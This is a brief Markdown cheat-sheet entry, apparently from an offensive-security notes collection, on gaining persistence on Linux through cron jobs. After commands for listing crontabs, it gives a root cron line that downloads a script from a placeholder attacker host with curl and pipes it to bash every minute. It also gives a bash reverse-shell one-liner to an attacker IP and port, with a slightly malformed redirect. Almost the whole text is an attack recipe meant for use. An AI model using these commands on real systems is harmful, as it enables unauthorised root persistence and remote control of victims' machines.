killchain-compendium/Persistence/crontab.md

Cronjobs

• crontab -l
• cat /etc/crontab

Add Cronjob

• Add line

* *   * * * root curl http://<attacker-IP>:8000/shell.sh | bash

* Shell content
```sh
bash -c "bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0&1"
```